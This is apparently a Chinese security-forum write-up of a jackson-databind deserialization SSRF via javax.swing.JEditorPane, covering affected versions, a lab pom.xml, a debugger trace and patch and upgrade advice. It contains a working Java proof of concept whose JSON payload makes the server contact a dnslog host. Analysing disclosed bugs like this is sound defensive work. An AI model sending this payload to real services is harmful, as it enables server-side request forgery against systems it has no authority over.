影响范围

  • jackson-databind before 2.9.10.3
  • jackson-databind before 2.10.2

利用条件

开启enableDefaultTyping()

漏洞概述

漏洞类javax.swing.JEditorPane来源于JDK不需要依赖任何jar包,该类在jackson-databind进行反序列化时可造成SSRF

漏洞复现

环境搭建

pom.xml文件如下:

<dependencies>
    <dependency>
      <groupId>com.fasterxml.jackson.core</groupId>
      <artifactId>jackson-databind</artifactId>
      <version>2.9.10.3</version>
    </dependency>

    <dependency>
      <groupId>org.slf4j</groupId>
      <artifactId>slf4j-nop</artifactId>
      <version>1.7.2</version>
    </dependency>
    <!-- https://mvnrepository.com/artifact/javax.transaction/jta -->
    <dependency>
      <groupId>javax.transaction</groupId>
      <artifactId>jta</artifactId>
      <version>1.1</version>
    </dependency>
  </dependencies>

漏洞利用

Poc.java代码如下所示

package com.jacksonTest;

import com.fasterxml.jackson.databind.ObjectMapper;


import java.io.IOException;

public class Poc {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = new ObjectMapper();
        mapper.enableDefaultTyping();
        String payload = "[\"javax.swing.JEditorPane\",{\"page\":\"http://qb7fky.dnslog.cn\"}]";
        try {
            mapper.readValue(payload, Object.class);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

之后在DNSlog端成功收到请求:

漏洞分析

首先定位到javax.swing.JEditorPane类的setPage方法,之后在此处下断点进行断点调试分析:

在setPage方法中会首先去判断传入的page是否为空,如果为空则抛出异常信息,不为空则初始化一个page上下文环境(矩形:长高各为1,从(0,0)开始,类似于一个新建的word文档):

之后设置reloaded为false,并根据之前返回的loaded是否为空等组合判断语句来决定是否进入if语句中,而loaded源自getPage(),getPage为空所以此时的loaded为null,即满足if条件的第一项,由于是采用的或关系条件判断语句,所以直接进入if语句中执行后续代码:

之后通过函数getAsynchronousLoadPriority来判断document的加载优先级并将其赋值给p变量,从下述代码中可以看出如果不支持则返回“-1”:


之后判断p的值是否小于0,如果小于0,则进入if语句中,此时的p返回值为—“-1”,之后进入if语句中,之后page(我们构造DNSlog域名)会作为参数传递进入getStream中,我们继续跟进去:

之后可以看到在在getStream中调用page.openConnection()从而得到一个HttpURLConnection对象实例:

之后判断新建的conn是否是一个HttpURLConnection对象的实例:

之后新建HttpURLConnection实例对象,并将conn赋值给hconn,之后设置是否跟随重定向,以及postData,然而此时的postData并没有任何数据信息,所以会直接跳过if语句:

之后继续跟进getResponseCode获取响应值的函数中:

之后调用getInputStream(),并确保我们已经连接到服务器,如果没有status信息,则抛出异常,下面我们继续跟进到getInputStream()函数中:

可以看到,截止目前为止我们还未连接到目标服务器,connecting为false,而接下来要做的就是连接目标服务器,也就是我们传递进去的DNSlog域名地址,我们继续跟进分析:

之后connecting被设置为"true",并检查URL的Socket通信是否允许,之后调用getInputStream0()函数:

在getInputStream0()函数中首先判断此时的doInput是否为false,如果此时的doInput为false则无法使用URL连接进行输入,也无法判断是否成功连接,故而会抛出异常,此时doInput为true,之后进入到else判断语句中,而此时的rememberException为null,所以也不会进入后续的else中,直接继续往下执行:

streaming为false,继续跳过if中的语句,往下执行:

之后一路往下跟踪,最后调用this.connect()来建立连接:

之后调用this.plainConnect()方法

之后再去调用plainConnect0():

之后跟进到this.getNewHttpClient(this.url, var4, this.connectTimeout);处,下面继续跟进去



之后调用get方法,并设置keep-alive:

....
之后来到HttpClient()处,继续跟进:

设置请求参数(host、port、proxy、keeepAliveConnection、KeepAliveTimeout等等)

之后调用openServer()开启连接:

之后检查协议等信息,并调用openServer(host,port)来建立连接,下面继续跟进:

之后再次调用doConnect():

之后调用InetSocketAddress()函数:

之后调用InetAddress.getByName(),这个函数想必大家已经都很熟悉了,该函数在给定的主机名的情况下来获取主机的IP地址,这也是触发SSRF的根本所在点:




同时在DNSLog端也接收到请求:

整个跟踪流程相对来说转接很多,涉及多个文件,有兴趣的小伙伴可以尝试跟踪分析一波看看~

补丁分析

官方在github的更新方式依旧是添加javax.swing.JEditorPane至黑名单类,但这种方式治标不治本,后续可能出现其他绕过黑名:
https://github.com/FasterXML/jackson-databind/commit/4d038c9de0aa80a5dae27f552a975cb39cc42b60

修复建议

及时将jackson-databind升级到安全版本
升级到较高版本的JDK。

参考链接

https://github.com/FasterXML/jackson-databind/issues/2642
https://github.com/FasterXML/jackson-databind/commit/4d038c9de0aa80a5dae27f552a975cb39cc42b60

点击收藏 | 0 关注 | 1
登录 后跟帖